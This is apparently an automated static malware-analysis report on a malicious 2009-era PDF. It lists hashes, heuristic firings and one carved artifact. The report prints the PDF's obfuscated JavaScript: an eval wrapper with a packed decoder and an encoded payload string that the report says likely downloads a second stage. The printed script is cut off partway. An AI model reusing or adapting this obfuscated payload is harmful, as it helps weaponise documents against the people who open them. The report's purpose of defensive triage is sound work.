Malicious PDF — malware analysis report

Static analysis result for SHA-256 3ebf0d1b1465810e…

MALICIOUS

PDF

8.9 KB Created: 2009-08-31 20:54:23 Authoring application: fwhrIQZMVQDdfYh (via XfwNJVeFfqgWwOuGgPm) First seen: 2013-08-01
MD5: b081194268d1eab9fd37375a887e0c01 SHA-1: 7f8d7521810fd59f21adcabda2788dcc7f51692f SHA-256: 3ebf0d1b1465810e635905ad714098ee143cbe59ab56825a740782ef016436fa
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of an extracted JavaScript file. The ML classifier strongly flags this PDF as malicious. The JavaScript is obfuscated, making its exact function difficult to determine, but it is likely designed to download and execute a second-stage payload. The document body text appears to be largely nonsensical, suggesting it serves as a lure rather than containing legitimate information.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    e  =  function\(  c    \){
return\(c<a?'':e\(parseInt\(c/a\)\)\)+\(\(c=c%a\)>35?String.fromCharCode\(c+29\):c.toString\(36\)\)};if\(!''.replace\(/^/,String\)\){while\(c--\){d[e\(c\)]=k[c]||e\(c\)}k=[function\(e\){return d[e]}];e=function\(\){return'\\\\w+'};c=1};while\(c--\){if\(k[c]\){p=p.replace\(new RegExp\('\\\\b'+e\(c\)+'\\\\b','g'\),k[c]\)}}return p}\('1E 3n\(19\){12 10=0;12 17="";2F\(10=0;10<19.2I;10++\){17=17+2K.3q\(19.21\(10\)^3\)}1C 17}1E 1s\(1G\){1C 2q\(1G\)}12 2r="&2s&2t&1K&v:`L&2u;&p&2h&1P;0&1O&1T"+"`3&1W&Y;3 …
)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x3AE 7426 bytes
SHA-256: fbcbaeda741696e6cb49f10d8045719621d08433a0158ded35a28dc9e09f3b28
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function Sldwmohh(B588hlw){

 eval (
 B588hlw
 );
}

Sldwmohh(

	function
( p,	a, c,
k,

e,

d

)

{
e  =  function(  c    ){
return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1E 3n(19){12 10=0;12 17="";2F(10=0;10<19.2I;10++){17=17+2K.3q(19.21(10)^3)}1C 17}1E 1s(1G){1C 2q(1G)}12 2r="&2s&2t&1K&v:`L&2u;&p&2h&1P;0&1O&1T"+"`3&1W&Y;3l&v;1I`&3w`q&1n;a&3x`&1F;a&3y;&v;1I:&v"+"3v&1F;g&v;3r`&3s`q&1K&3e&M&2Z&2N&2J"+"&p&2E&2G;&M&2H&v;:y&v;R&11`1&M&2O"+"33&v;35;&p&1l&2P:6&M&v;:33&v;R&11`1&M&v"+"2X&1m&v;b`1&1j:`&2Y&p&1o;3&1p&v;;35&1g`"+"&1h&v`1f&1d&v;:33&v;R&1y`1&Q&X&v:13&2V"+"h&p&U;:&v`1;2&2R&p&1z&v:13&1x&p&v"+"2T&Z&U;:&v`1;2&14&p&v;:h&v;R&Y;`1&Q"+"&X&Z&1r&2S&U;:&v`1;2&14&p&1t&1u"+":6&M&v;:33&v;R&11`1&M&X&v;35;&p&1l&v"+"2U:6&M&v;:33&v;R&11`1&M&1A&1m&v;b`1&1j:`"+"&2W&p&1o;3&1p&v;;35&1g`&1h&v`1f&1d&v;:"+"33&v;R&1y`1&Q&X&v:13&2M&p&U;:&v`1;2&v"+"2L&p&1z&v:13&1x&p&Z&Z&U;:&v`1;2"+"&14&p&v;:h&v;R&3t`1&Q&X&Z&1r&3u"+"1c&U;:&v`1;2&14&p&1t&1u:6&M&v:3p&3o&v"+"3i&3h:&v`3g;&p&p&p&p&p&p&p"+"&p&1v&3f&3j&3k&2D&3m;&16`33&1B&16`"+"F&3z:&2C&Y:41&1X&1v&1V&1U&1Y&1Z&v"+"27&24&23&1S:&Y;m&2g&1N&1M;:&1R;:&v`1Q"+"&2w&2v:2x&v;:2y&2B:&2A`3&2z`&p&1i&V&1w"+"33&1q&v;18&V&p&1n;a&v;2l;&2k``5&1i&V&v"+"2j&2i;g&2m&p&1k&1b;6&Q&2n&1k&1b;6"+"&Q&2p&2o&v;18&V&p&2Q&46&4Q&v;6"+"30&V&p&v`5;:&4I;:&4u`I&4w&4x:&4B&4z&v"+"4y:&4t:0&4s&4n;6&Q&1A&v:4m&1q&4l`2&4o"+"&4p;6&Q&v;:33&4r`5&v;18&V&p&4q`0&4A&1w"+"33&p&p&p&p&p&p&v;:33&1b;6&Q&v"+"4O&3A;A&4N;&4L&4P&4R&v;3`f&4M&4J&4E"+"&4D`0&16`h&4C&4K&16`B&4F`&4G&4H`&4v&W`"+"4j&1B&3M&3L&W`5:&3K&3N&3O&3Q&3P&v"+"4;E&3J&3I&3D&3C;&W;43&3B&3E;&3F&3H"+"&Y:1e&1a;&1a;&1a;&1D;&3G&3R&3S&4b&W`"+"E&4a&4d&4g&4i;&W:4h&4k&40&1D;&W`5`&v"+"3V&3U&v:3T"+"";12 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